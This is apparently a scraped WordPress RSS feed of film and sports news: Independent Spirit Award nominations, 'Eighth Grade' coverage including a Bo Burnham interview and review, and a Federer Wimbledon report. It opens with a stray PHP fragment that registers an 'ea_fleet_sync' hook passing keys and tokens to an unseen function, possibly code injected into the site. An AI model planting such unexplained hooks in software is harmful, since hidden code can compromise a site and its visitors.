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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Eighth – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 19 Nov 2018 00:43:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Eighth – Brief News https://briefnews.eu 32 32 2019 Independent Spirit Awards Nominations: ‘We the Animals’, ‘Eighth Grade’ and ‘First Reformed’ Lead the Pack https://briefnews.eu/2019-independent-spirit-awards-nominations-we-the-animals-eighth-grade-and-first-reformed-lead-the-pack/ https://briefnews.eu/2019-independent-spirit-awards-nominations-we-the-animals-eighth-grade-and-first-reformed-lead-the-pack/#respond Mon, 19 Nov 2018 00:43:03 +0000 http://briefnews.eu/2019-independent-spirit-awards-nominations-we-the-animals-eighth-grade-and-first-reformed-lead-the-pack/ We the Animals - 2019 Independent Spirit Awards Nominations

Awards season is officially in full swing as the folks at Film Independent have officially announced the nominations for the 2019 Independent Spirit Awards, honoring achievements in independent film for the year 2018.

Jeremiah Zagar‘s film We the Animals led the indie pack with five total nominations. But coming in close behind are two wildly different A24 films, Bo Burnham‘s coming of age comedy Eighth Grade and Paul Schrader‘s challenging drama First Reformed, each with four nominations. Other films landing nods include You Were Never Really Here, Hereditary, The Tale and more

Get the full list of the 2019 Independent Spirit Award nominations below.

BEST FEATURE

Eighth Grade
First Reformed
If Beale Street Could Talk
Leave No Trace
You Were Never Really Here

BEST FIRST FEATURE

Hereditary
Sorry to Bother You
The Tale
We the Animals
Wildlife

BEST FEMALE LEAD

Glenn Close, The Wife
Toni Collette, Hereditary
Elsie Fisher, Eighth Grade
Regina Hall, Support the Girls
Helena Howard, Madeline’s Madeline
Carey Mulligan, Wildlife

BEST MALE LEAD

John Cho, Searching
Daveed Diggs, Blindspotting
Ethan Hawke, First Reformed
Christian Malheiros, Socrates
Joaquin Phoenix, You Were Never Really Here

BEST DIRECTOR

Debra Granik, Leave No Trace
Barry Jenkins, If Beale Street Could Talk
Tamara Jenkins, Private Life
Lynne Ramsay, You Were Never Really Here
Paul Schrader, First Reformed

BEST DOCUMENTARY

Hale County This Morning, This Evening
Minding the Gap
Of Fathers and Sons
On Her Shoulders
Shirkers
Won’t You Be My Neighbor?

BEST SUPPORTING MALE

Raúl Castillo, We the Animals
Adam Driver, BlacKkKlansman
Richard E. Grant, Can You Ever Forgive Me?
Josh Hamilton, Eighth Grade
John David Washington, Monsters and Men 

BEST SCREENPLAY

Richard Glatzer (Writer/Story By), Rebecca Lenkiewicz & Wash Westmoreland, Colette
Nicole Holofcener & Jeff Whitty, Can You Ever Forgive Me?
Tamara Jenkins, Private Life
Boots Riley, Sorry to Bother You
Paul Schrader, First Reformed

BEST FIRST SCREENPLAY

Bo Burnham, Eighth Grade
Christina Choe, Nancy
Cory Finley,  Thoroughbreds
Jennifer Fox, The Tale
Quinn Shephard (Writer/Story By) and Laurie Shephard (Story By), Blame

BEST EDITING

Joe Bini, You Were Never Really Here
Keiko Deguchi, Brian A. Kates & Jeremiah Zagar, We the Animals
Luke Dunkley, Nick Fenton, Chris Gill & Julian Hart, American Animals
Anne Fabini, Alex Hall and Gary Levy, The Tale
Nick Houy, Mid90s

BONNIE AWARD

Debra Granik
Tamara Jenkins
Karyn Kusama

BEST INTERNATIONAL FILM

Burning (South Korea)
The Favourite  (United Kingdom)
Happy as Lazzaro (Italy)
Roma (Mexico)
Shoplifters (Japan)

JOHN CASSAVETES AWARD

A Bread Factory
En el Septimo Dia
Never Goin’ Back
Socrates
Thunder Road

BEST SUPPORTING FEMALE

Kayli Carter, Private Life
Tyne Daly, A Bread Factory
Regina King, If Beale Street Could Talk
Thomasin Harcourt McKenzie, Leave No Trace
J. Smith-Cameron, Nancy

BEST CINEMATOGRAPHY

Ashley Connor, Madeline’s Madeline
Diego Garcia, Wildlife
Benjamin Loeb, Mandy
Sayombhu Mukdeeprom, Suspiria
Zak Mulligan, We the Animals

PRODUCERS AWARD – The 22nd annual Producers Award honors emerging producers who, despite highly limited resources, demonstrate the creativity, tenacity and vision required to produce quality, independent films. The award includes a $ 25,000 unrestricted grant.

Jonathan Duffy and Kelly Williams
Gabrielle Nadig
Shrihari Sathe

SOMEONE TO WATCH AWARD – The 25th annual Someone to Watch Award recognizes a talented filmmaker of singular vision who has not yet received appropriate recognition. The award includes a $ 25,000 unrestricted grant.

Alex Moratto, Director of Sócrates
Ioana Uricaru, Director of Lemonade
Jeremiah Zagar, Director of We the Animals

TRUER THAN FICTION AWARD – The 24th annual Truer Than Fiction Award is presented to an emerging director of non-fiction features who has not yet received significant recognition. The award includes a $ 25,000 unrestricted grant.

Alexandria Bombach, Director of On Her Shoulders
Bing Liu, Director of Minding the Gap
RaMell Ross, Director of Hale County This Morning, This Evening

ROBERT ALTMAN AWARD

Suspiria

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The 2019 Independent Spirit Awards will be held on February 23, 2019 and will be broadcast live on IFC

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]]> https://briefnews.eu/2019-independent-spirit-awards-nominations-we-the-animals-eighth-grade-and-first-reformed-lead-the-pack/feed/ 0 The 5 Best Movies to Buy or Stream This Week: ‘Private Life,’ ‘Eighth Grade’ https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-private-life-eighth-grade/ https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-private-life-eighth-grade/#respond Tue, 09 Oct 2018 17:34:04 +0000 http://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-private-life-eighth-grade/ One of the year’s best movies, and one of the best Netflix originals to date, is streaming on that service at this very moment, so that’s your top priority for this week’s viewing. It’s followed closely by two terrific summer sleepers, a summer blockbuster that’s not half bad, and a sprawling, masterful piece of television work from one of the finest filmmakers of the 1970s.

ON NETFLIX

Private Life: It’s been more than a decade since Tamara Jenkins’ last feature, The Savages, and it was worth the wait. This one has a sitcom-ready premise: after several failures of conception and fertilization, a fortysomething couple (Kathryn Hahn and Paul Giamatti) decide to try the process with an egg donor, and ask their step-niece (Kayli Carter) to make the contribution. And it’s a very funny movie, full of quotable but conversational dialogue and uproarious comic beats (many provided by Denis O’Hare as Hahn’s peppy, self-consciously cool OBGYN). But Jenkins can flip the switch from genuine hilarity to emotional intensity in an instant (and without missing a step), crafting a portrait of a marriage that’s genuine, honest, and at times, uncomfortably real.

ON BLU-RAY / DVD / VOD

Eighth Grade: “I’m just nervous all the time,” Kayla confesses, and girl, I wish I could tell you that went away. She’s about to enter high school and has the kind of social anxiety that rarely disappears entirely — but certainly seems to be at its most painful at that age, in which school transitions, hormones, and general uneasiness in one’s own skin are at their height. Elsie Fisher is marvelous as Kayla, earning our sympathy without ever pandering for it, and Josh Hamilton crafts a wonderful, open-hearted performance as her kind, goofy dad. But what’s most striking is the sensitivity of the filmmaking; writer/director Bo Burnham knows when to get close and when to keep his distance, and his instincts are spot-on. What a lovely film this is. (Includes audio commentary, deleted scenes, featurette, and music video.)

Skyscraper: To be clear, it’s not that this Die Hard riff from director Rawson Marshall Thurber and star Dwayne “The Rock” Johnson (reteaming after the much better Central Intelligence) is great; the exposition is clumsy, the twists are broadly telegraphed, and the special effects are mixed. But it has some heart-stopping moments — the leap-to-the-building bit, so central to the ads, is aces — and the performers come across, with Neve Campbell doing some A+ Terrified Reaction Acting (she’s got practice) and Johnson adopting the right, Schwarzenegger-esque approach of neither winking at the audience nor taking the material too seriously. It’s nothing to write home about, but as popcorn goes, it’s pleasant enough. (Includes audio commentary, deleted and extended scenes, and featurettes.)

A Prayer Before Dawn: This punishing but powerful Cannes contender from director Jean-Stéphane Sauvaire adapts Billy Moore’s prison memoir, of the years he spent in horrifying Thai prisons before quite literally fighting his way out, via the system’s Muay Thai boxing tournaments. Sauvaire seizes on the intensity of Moore’s nightmare journey, in which he’s subjected to hazing, threats, and terrifying rites of initiation, detailing how his surroundings bring out a rage in him — and a desperation to escape them. Star Joe Cole (best known for Peaky Blinders) is astonishingly good as Moore, in a primarily non-verbal performance (by necessity, since no one else speaks his language); he’s a convincing brawler, and even more persuasive as a self-destructive addict. (Includes featurettes.)

ON BLU-RAY / DVD

Eight Hours Don’t Make a Day: This five-part, eight-hour miniseries (newly restored by the Criterion Collection) was an early milestone for the brilliant and prolific Rainer Werner Fassbinder, who crafted this self-proclaimed “family series” as a portrait of middle-class misery and dysfunction, set in bleak machine shops and drab apartment blocks. His characters are both mercilessly cruel and undeniably affectionate, and the filmmaker’s artful fusion of kitchen-sink realism and straight-up melodrama (and his excellent snap-zooms) are on full display. (Includes documentary and new interview.)

                                                                            

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]]> https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-private-life-eighth-grade/feed/ 0 ‘Eighth Grade’ is Holding Free Screenings Across the Country That Won’t Enforce R-Rating https://briefnews.eu/eighth-grade-is-holding-free-screenings-across-the-country-that-wont-enforce-r-rating/ https://briefnews.eu/eighth-grade-is-holding-free-screenings-across-the-country-that-wont-enforce-r-rating/#respond Tue, 07 Aug 2018 10:56:15 +0000 http://briefnews.eu/eighth-grade-is-holding-free-screenings-across-the-country-that-wont-enforce-r-rating/ eighth grade free screenings

Despite its title, eighth graders probably won’t be able to see Eighth Grade in theaters. Bo Burnham‘s incisive, incredible film about coming of age in the digital age was saddled with an R-rating thanks to a few errant curse words that the MPAA is unreasonably strict about. But it’s a film that eighth graders should see. And A24 agrees. This week, the studio will be hosting free screenings across the country that won’t enforce the movie’s R-rating to encourage all ages to see this pivotal and powerful movie.

Every so often, a fantastic movie that features a few too many “fucks” will come around to remind us how backwards the MPAA can be when it comes to depicting curse words and frank sexual discussions onscreen. And that’s where Eighth Grade fell into hot water with the all-powerful ratings board, whose R-rating for the film unreasonably bars 13-year-olds from seeing a resonant movie about themselves. Because unlike what its rating suggests, Eighth Grade is not a raunchy comedy that exaggerates the antics of middle schoolers today — on the contrary, it’s as raw and real as it gets. Parents across the country could benefit (though admittedly suffer a bit through the film’s more cringeworthy moments) from taking their kids to see Eighth Grade and kickstart important conversations about body image, identity, and sexual consent. But nope, the MPAA has got to be a remnant of Puritanical times.

Thankfully, A24 gets it. For one day only, the indie studio is holding Eighth Grade free screenings across the country that won’t enforce the R-rating, to encourage kids — and maybe even their parents — to see this important movie.

These first-come, first-serve screenings will take place on Wednesday, August 8, 2018 in each state, the studio announced. To RSVP for the event, you can email info@A24films.com or contact your local theaters. You can find more information here.

Here is the full list of theaters holding these free Eighth Grade screenings.

  • ALABAMA: BIRMINGHAM – SUMMIT 16 at 7:00PM
  • ALASKA: ANCHORAGE – REGAL TIKAHTNU COMMONS STADIUM 16 & IMAX at 7:00PM
  • ARIZONA: SCOTTSDALE – CAMELVIEW AT FASHION SQUARE at 7:00PM
  • ARKANSAS: LITTLE ROCK – COLONEL GLENN 18 at 7:05PM
  • CALIFORNIA: SAN FRANCISCO – ALAMO DRAFTHOUSE MISSION at 7:40PM
  • CALIFORNIA: LOS ANGELES – ARCLIGHT HOLLYWOOD at 8:00PM
  • COLORADO: BOULDER – CENTURY 16 at 7:15PM
  • CONNECTICUT: HARTFORD – PALACE 17 & ODYSSEY at 7:00PM
  • DELAWARE: WILMINGTON – BRANDYWINE TOWN CENTER 16 at 7:00PM
  • FLORIDA: WINTER PARK – WINTER PARK VILLAGE 20 at 7:00PM
  • GEORGIA: ATLANTA – PHIPPS PLAZA 14 at 7:00PM
  • HAWAII: HONOLULU – DOLE CANNERY 18 at 7:00PM
  • IDAHO: BOISE – BOISE STADIUM 21 CINEMAS at 7:00PM
  • ILLINOIS: CHICAGO – RIVER EAST 21 at 7:10PM
  • INDIANA: INDIANAPOLIS – KEYSTONE ART CINEMA 7 at 7:00PM
  • IOWA: WEST DES MOINES – CENTURY 20 @ JORDAN CREEK at 7:30PM
  • KANSAS: LEAWOOD – TOWN CENTER 20 at 6:15PM
  • KENTUCKY: LEXINGTON – CINEMARK FAYETTE MALL 16 at 7:50PM
  • LOUISIANA: HARAHAN – PALACE 20 – ELMWOOD at 7:00PM
  • MAINE: PORTLAND – NICKELODEON CINEMAS 6 at 7:15PM
  • MARYLAND: ANNAPOLIS – HARBOUR 9 THEATRES at 7:00PM
  • MASSACHUSETTS: DANVERS – LIBERTY TREE MALL 20 at 7:00PM
  • MICHIGAN: GRAND RAPIDS – CELEBRATION NORTH 17 6:45PM
  • MINNESOTA: EDEN PRAIRIE – AMC EDEN PRAIRIE 18 at 7:45PM
  • MISSISSIPPI: GULFPORT – CINEMARK 16 – GULFPORT at 7:10PM
  • MISSOURI: ST. LOUIS – RONNIE’S 20 at 7:00PM
  • MONTANA: MISSOULA – ROXY THEATER at 7:00PM
  • NEBRASKA: LA VISTA – ALAMO DRAFTHOUSE OMAHA at 7:15PM
  • NEVADA: LAS VEGAS – TOWN SQUARE 18 at 7:25PM
  • NEW HAMPSHIRE: HANOVER – NUGGET THEATRE 4 at 7:00PM
  • NEW JERSEY: PARAMUS – GARDEN STATE 16 at 7:00PM
  • NEW MEXICO: ALBUQUERQUE – CENTURY RIO 24 at 7:40PM
  • NEW YORK: BROOKLYN – ALAMO DRAFTHOUSE DOWNTOWN BROOKLYN 7 at 7:30PM
  • NORTH CAROLINA: CHARLOTTE – STONECREST @ PIPER GLEN 22 at 7:00PM
  • NORTH DAKOTA: FARGO – WEST ACRES 14 at 7:00PM
  • OHIO: VALLEY VIEW – VALLEY VIEW 24 at 6:25PM
  • OKLAHOMA: OKLAHOMA CITY – QUAIL SPRINGS 24 at 6:45PM
  • OREGON: PORTLAND – FOX TOWER 10 at 7:00PM
  • PENNSYLVANIA: KING OF PRUSSIA – KING OF PRUSSIA 15 & IMAX at 7:00PM
  • RHODE ISLAND: PROVIDENCE – PROVIDENCE PLACE 16 at 7:00PM
  • SOUTH CAROLINA: MT. PLEASANT – CINEBARRE – MT. PLEASANT 11 at 7:00PM
  • SOUTH DAKOTA: RAPID CITY – AMC CLASSIC RUSHMORE 7 at 7:00PM
  • TENNESSEE: KNOXVILLE – PINNACLE STADIUM 18 at 7:00PM
  • TEXAS: AUSTIN – ALAMO DRAFTHOUSE SOUTH LAMAR at 7:45PM
  • UTAH: SALT LAKE CITY – CENTURY 16 – SLC at 7:35PM
  • VERMONT: BURLINGTON – MERRILL’S ROXY CINEMAS at 6:40PM
  • VIRGINIA: RICHMOND – CRITERION CINEMAS @ MOVIELAND at 7:00PM
  • WASHINGTON: SEATTLE – MERIDIAN 16 at 7:00PM
  • WEST VIRGINIA: MORGANTOWN – REGAL MORGANTOWN STADIUM 12 at 7:00PM
  • WISCONSIN: MEQUON – NORTH SHORE 11 at 7:00PM
  • WYOMING: LARAMIE – FOX at 7:00PM

Eighth Grade is currently playing in theaters now.

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On the August 6, 2018 episode of /Film Daily, /Film senior writer Ben Pearson is joined by managing editor Jacob Hall, weekend editor Brad Oman, and writer Hoai-Tran Bui to discuss what they’ve been up to in another edition of Water Cooler Monday.

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At The Water Cooler:

 

  • What we’ve been Doing:
    • Ben visited Scum & Villainy cantina in Hollywood
    • Brad finally tracked down the sexy, injured Ian Malcolm Funko POP at Target.
    • Jacob started listening to the latest episode of Hardcore History and found a new podcast called The Lovecraft Geek.

 

  • What we’ve been Reading:
    • Ben read Erik Larson’s Thunderstruck
    • Jacob started reading Go Team Venture: The Art and Making of The Venture Bros. and is working to get caught up on his unread comic book stack (quick recommendations: Maestros, Black Magick, Deadly Class, Batman).

 

  • What we’ve been Watching:
    • Hoai-Tran saw Christopher Robin and Eighth Grade, caught up with the newest episodes of Terrace House.
    • Ben watched Deep Cover and started Orange is the New Black season 6
    • Jacob has been rewatching The Venture Bros. to prepare for the new season.
    • Brad watched Set It Up and PS I Love You.

 

  • What we’ve been Eating:
    • Jacob discovered they have French toast sticks at Sonic and now his life is ruined.
    • Brad picked up Rocky Road Trip Oreos and Lay’s Deep Dish Pizza chips.

 

  • What we’ve been Playing:
    • Jacob played the massive board game Rising Sun and has been preparing for a Scum and Villainy campaign.
    • Hoai-Tran is now completely caught up with all the Harry Potter: Hogwarts Mystery updates and doesn’t know what to do with her life.

 

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]]> https://briefnews.eu/daily-podcast-eighth-grade-venture-bros-christopher-robin-p-s-i-love-you-hogwarts-mystery-and-more/feed/ 0 Bo Burnham on Finding the Perfect Leading Lady for ‘Eighth Grade’ [Interview] https://briefnews.eu/bo-burnham-on-finding-the-perfect-leading-lady-for-eighth-grade-interview/ https://briefnews.eu/bo-burnham-on-finding-the-perfect-leading-lady-for-eighth-grade-interview/#respond Thu, 19 Jul 2018 17:17:28 +0000 http://briefnews.eu/bo-burnham-on-finding-the-perfect-leading-lady-for-eighth-grade-interview/ Eighth Grade Review

If you’re familiar with the stand-up comedy of Bo Burnham, you might not peg him to be the first candidate to write an emotion-driven comedy about a socially awkward eighth-grade girl who is trying to find her place in a world that she feels has no interest in getting to know her. But ever since its premiere at the 2018 Sundance Film Festival, Burnham’s Eighth Grade has been one of the most eagerly anticipated and critically acclaimed independent movies of the year, making its way through the festival circuit and now finally opening to wider audience beginning this weekend (the film is currently in very limited release in New York and Los Angeles).

Eighth Grade doesn’t adhere to a conventional, plot-driven structure, instead allowing Burnham and acting newcomer Elsie Fisher to piece together a compelling and inspirational character study of young Kayla, who lives with her well-meaning, single father (Josh Hamilton) and makes what she probably believes are inspirational YouTube videos about being yourself and having confidence—neither of which Kayla feels comfortable doing. But it becomes clear that these videos are more about boosting her own sense of worth in the world. Burnham places Kayla in a series of scarily authentic and believable situations, some of which make her wildly uncomfortable, while others give her (and the audience) hope that she’s on the verge of breaking out of her shell and becoming the young woman she imagines she is once she hits high school. It’s a film that walks the line between tragedy and comedy with such grace that you might think a more seasoned filmmaker had pulled it off.

Several years as a successful YouTube sensation and successful stand-up comedian whose humor blended music, visual elements and a twisted perspective, led to Burnham releasing a series of highly successful comedy albums and specials, including “Bo Fo Sho,” “Bo Burnham,” “Words Words Words,” “what.,” and “Make Happy,” all of which are available either on YouTube, Netflix, or Comedy Central. He also co-created and starred in the popular MTV series “Zach Stone Is Gonna Be Famous,” and he published a book of poetry, titled “Egghead: Or, You Can’t Survive on Ideas Alone.” More recently, he’s appeared in supporting roles in such films as Rough Night and The Big Sick, and directed Chris Rock’s most recent Netflix special “Tamborine.” Eighth Grade marks Burnham’s feature debut as a writer/director.

/Film spoke with the 27-year-old Burnham in Chicago back in May when he was in town for the Chicago Critics Film Festival; Eighth Grade was the Closing Night film. The post-screening Q&A (moderated by this author) before a sold-out crowd was quite enjoyable and moving, especially when Burnham invited an actual eighth grader one stage to answer his question about arguably the thorniest scene in the film (the video for the entire Q&A can be watched below here).

The following interview took place earlier the same day, and we cover such topics as the impetus for the project, how casting Fisher changed aspects of Kayla’s personality and dialogue, and the ways in which the entire work reflects his anxiety about the internet.

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You have this perfect young actress who is both lacking confidence but wants to possess it so desperately, and I could wonder was, how did you find someone who exuded those qualities that would even come in for an audition?

That was the challenge. And I knew going into this it would be a challenge for literally the reason you just said. I said, “The type of person who’s right for this won’t come in to an audition.” Kayla would never come in for an audition, and I wanted it feel like a shy person playing confident, not a confident person pretending to be shy. I dug around online. Elsie had acted before, so she had some experience and confidence, but had stopped acting over the last couple of years because she felt, as she should, weary about the world of acting as a 12 or 13 year old. She was just the sort of unicorn who had all the vulnerability and inarticulation that Kayla needed and also could carry a production on her shoulders. I really think she’s a one-in-a-billion type of person.

It was a long process of getting to know each other really well. She came in nervous, and I came in nervous as a filmmaker. It was hard for me, in terms of going, “Can I do this? I have no idea.” It was just us sticking together and getting to know each other, and the crew working toward this thing of letting her have a safe space to be what she is. And after we gave her that, she very quickly didn’t need it anymore. She was incredibly confident and strong, while giving a very vulnerable performance.

Over the last couple of years, there have been a fair number of comics who have turned to directing or writing. Did you gather any inspiration or guidance from what they did?

Comedians are overall selfish jerks [laughs], and we’re all doing our own thing. We’re very rarely going to each other for advice. But yeah, I’m definitely inspired by what happened to Kumail [Nanjiani, director/co-writer/star of The Big Sick] and the work he did. Historically, all of those people who carved out a part of the path. There’s been so much great work done by other people, that the idea of hopping around to another medium actually feels culturally instantiating. It almost feels like a requirement. A lot of people led by example, for sure.

The process of putting together your on-stage act is actually quite elaborate—it’s more than you just getting on stage and talking—but it’s still very much a one-man process. What was it like to have to collaborate? You wrote and directed Eighth Grade, but still have to rely on a great man people to make your work good on screen.

It really is our work. [Collaborating] was the main reason I wanted to get into film. I started doing theater—that was my first love—and I fell into comedy. In doing comedy, the thing that I missed was collaborating with people. I’m a huge fan of everyone I worked with, of my composer, my production designer, my DP, and my job was being a good fan and liking everyone’s work very specifically and maintaining everyone else’s skills, much more than me standing up and going “Okay, this is my vision! Kneel at the alter of my vision!” It really wasn’t that. It was totally freeing and not what could be pictured, which is this stand-up comedian who has no idea how to work with other people. Of course, there’s a learning curve, but I was desperate with other people to work with and I got that.

One of the ideas you explore is our relationship with the internet and how it causes causes us all a great deal of anxiety, even though it was designed to bring us closer together and form a community. What is your relationship with the internet these days, and how did you filter those feelings into what Kayla is going through?

Even thought this is about the eighth grade, in terms of it being personal, it is about my experience now more than it was then. I was not that much of a nervous kid, but I am a nervous kid now. Well, I’m not a kid, but there are ways in which I feel like a nervous kid and it’s because of my relationship to the internet, in some ways. There are a lot of things about the internet that feel like people want to be very critical or have a big thesis, an overarching statement, and my feeling is that for those of us who participate on the internet, we are drowning in it.

I’ll be very curious in 15 years, if Elsie becomes a social scientist, I’ll read her dissertation. Until then, I want to take emotional inventory in what’s going on. How does it feel? What are the question we have? So that was more the idea, and that’s why it was so great to collaborate with a kid. It was like “I want to express my confusion, my worry, not my answers, because I have none.” I’m not coming to you as an adult and saying “I’ve been through it and now I can teach everyone.” The only teaching is: “Forgive yourself a little bit. Understand that everyone is feeling this way. Try to engage in the real world maybe a little bit more.”

The issue I get into in answering a question like this is that, if I had a coherent answer about the internet, I would have written and essay. But I don’t. Part of [writing this] was expressing that confusion and those feelings, and the things I was feeling felt like they were best expressed through images and scenes and emotions.

This message of spending more time in the real world is not that different than the message of Ready Player One, and they spent a lot more money getting us to that place.

[Both laugh]

This is a very funny movie at times, but I will admit, every time I found myself laughing, like when she’s making one of her videos, I felt horribly guilty, like I was part of the problem.

[laughs] No, no. It’s alright. Sometimes when I watch the film with people, they seem really nervous to laugh in the beginning because they feel like they’re laughing at her. But hopefully you realize over the course of the things that the movie is kind to her, and we can laugh at her and also lover her. We can cringe and laugh at her stumbling over her words, but also feel kindness toward her. People get worried that this movie is making fun of her, but it’s the same way we are with anyone who’s younger or even remembering yourself when you were that age. You can read your old stuff and cringe and laugh at yourself, and also forgive and love yourself.

The way I got past that feeling was to think “In 10 years, she’s watch these videos and laugh at them too.

Exactly! Of course, and I defy anybody at any age to make a three-minute video of being yourself and not have it be actually laughable.

Of all of the things she could be doing with these videos, the idea that she’s making self-help videos seems so ironic. She might as well be talking into a mirror. You make it very clear that virtually no one is watching them.

But we are [laughs].

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Any adult will tell you that middle school is one of the most awful parts of adolescence. Faces explode with acne, hormones are raging, conversations are awkward, and everyone sucks. So comedian Bo Burnham decided to make his feature writing and directorial debut recounting just how awful that time in all of our lives was with a wonderful, lively movie called Eighth Grade, and just like that we have a fresh new voice on the page and behind the camera.

Eighth Grade follows the extremely endearing and awkward Kayla (played by newcomer Elsie Fisher) during her final week of the last year of middle school before she heads off into high school. While Kayla may pretend that she has her act together in a series of undeniably teenage advice videos on YouTube about being yourself, she struggles everyday to be something more than the most quiet kid in her graduating class. Kayla is also tethered to her phone and laptop, which includes Instagram, finding advice from other YouTubers, jamming out to bubbly techno pop at the dinner table and loving Snapchat filters. But that can be said of nearly every single awkward teenager in this movie.

Bo Burnham takes us through the trials and tribulations of young Kayla in a manner not dissimilar from recent female-driven coming-of-age darlingslike Edge of Seventeen and Lady Bird. But what sets it apart is going back just a little bit further back in adolescence to this pivotal moment in Kayla’s life in such a bona fide fashion. Despite being a 27-year old male, Burnham has somehow perfectly tapped into, um, like, the mind of a 13-year old girl, or whatever, and um, the terrifying, like, experience that comes with it. And it’s not just as simple as filling dialogue with those hollow filler words you hear teens (and some less fortunate adults) spout off all the time. Burnham just perfectly understands life as a Millennial teen, and the script feels like it was lifted from the conversations of real teens somewhere in the United States.

Throughout this week of Eighth Grade, we see Kayla begrudgingly going to the birthday party of a rich, stuck-up popular girl, stumbling over her words as she has a pitiful conversation with her dreamy classmate Aiden (Luke Prael), getting annoyed with her pleasantly-trying-too-hard father (Josh Hamilton) and shadowing a high school senior girl named Olivia (Emily Robinson). All of these moments come with all the awkwardness and angst you’d expect from this ignominious time in Kayla’s life, and it couldn’t be more delightful.

While Burnham certainly deserves plenty of credit for this movie being an indie gem, much of the credit goes to Elsie Fisher. Though you might recognize her voice due to her role as Agnes in the Despicable Me franchise, this is a breakthrough performance for Fisher. Sure, she’s helped by the fact that she shot this movie during the summer between her own eighth grade and freshman years, but she does so much more than just be a teenager. Feigning a lack of confidence and portraying awkwardness isn’t easy to pull off without overdoing it. But everything Fisher does feels natural. While the “ums” and “likes” scattered throughout her everyday speech may seem like a default setting for a 13-year old, these elements were scripted by Burnham, and it’s a testament to Fisher’s work as an actress that they don’t feel scripted.

Also making this movie standout is a thumping, beeping, blasting electronic score by composer Anna Meredith. Though there are a couple instances when it feels a little invasive and doesn’t quite fit the scene, most of the time it’s a perfect companion to what’s happening on screen, especially for the hilarious slow-motion shots when Kayla stares in awe of Aiden from a distance.

Eighth Grade might seem like just a typical coming of age movie that comes out of Sundance every year, and in many ways it’s exactly that. But it’s also a coming of age narrative that we haven’t really seen presented in this light before. Whether it’s due to Elsie Fisher’s lovable turn as Kayla or Bo Burnham’s frustratingly accurate portrayal of life as a teen, Eighth Grade is full of life, even if it’s from the terrible teenage years of that life.

/Film Rating: 9 out of 10

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The year 2018 is long and devoid of a certain fantasy epic.

Game of Thrones will not return until 2019, HBO announced Thursday, confirming months of speculation about when the dragon drama would return for its eighth and final season.

The cabler did not release a specific start date for the six-episode run. It did, however, confirm that episodes will be written by showrunners David Benioff and D.B. Weiss, as well as Bryan Cogman and Dave Hill. As previously reported, Benioff and Weiss also will direct — including the series finale — as will David Nutter and Miguel Sapochnik.

In December, series star Sophie Turner told our sister site Variety that her series wouldn’t be back until 2019, echoing sentiments earlier voiced by her castmate Liam Cunningham.

In October, Cunningham said that Thrones was gearing up to start production on the last season and would be shooting through summer 2018 — which, given the amount of post-production work the show requires, wouldn’t leave much time for a Season 8 premiere by the end of that year. In the Variety interview, Turner confirmed that there are “six or seven months left” in shooting Season 8.

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The Swiss master wept as he clinched his 19th Grand Slam in front of his two sets of twins having dismissed Marin Cilic 6-3, 6-1, 6-4.

And Federer vowed to return to defend the trophy next year as he insisted that he can play on until he is 40.

Cilic also burst into tears midway through the second set as he had treatment for the blister on his left foot which wrecked his chances, and wept again at the end, with Centre Court an arena of tears.

Federer, 36 next month, won his seventh title as long ago as 2012 – his first came in 2003, beating Pete Sampras.

“I didn’t think I was going to be this successful after beating Pete. I hoped to have a chance maybe one day to be in a Wimbledon final and have a chance to win,” he said.

“Winning eight is not something you can ever aim for. I dreamed, I believed, and really hoped that I could actually do it. I put in a lot of work, and it paid off.

“It is very special. Wimbledon will always be my favourite tournament. My heroes walked the grounds and the courts here. Because of them, I became a better player.

“To make history here at Wimbledon really means a lot to me because of all that. I didn’t think that much of it throughout the ceremony.

“I was so happy I was able to win Wimbledon again because it’s been a long road. It’s been tough at times.

“Number eight obviously means a lot to me because to be part of Wimbledon history is truly amazing.”

Federer, who took 10 weeks off before the grass-court season, vowed: “The goal is definitely to be here again next year to defend. There’s never a guarantee 35 or 36.

“Could I still be playing here when I’m 40? You would think so, health permitting.”

Cilic said: “I got a really bad blister. I felt it in the semis. The physios did as much as they could, but I still felt the pain.

“It didn’t hurt so much that it was putting me in tears. It was really bad luck. I knew I could not give my best in such a big match. It was very difficult.”

There was some joy for British tennis and a Swiss double last night, as Jamie Murray and Martina Hingis won the mixed doubles, beating Heather Watson and Henri Kontinen 6-4, 6-4.

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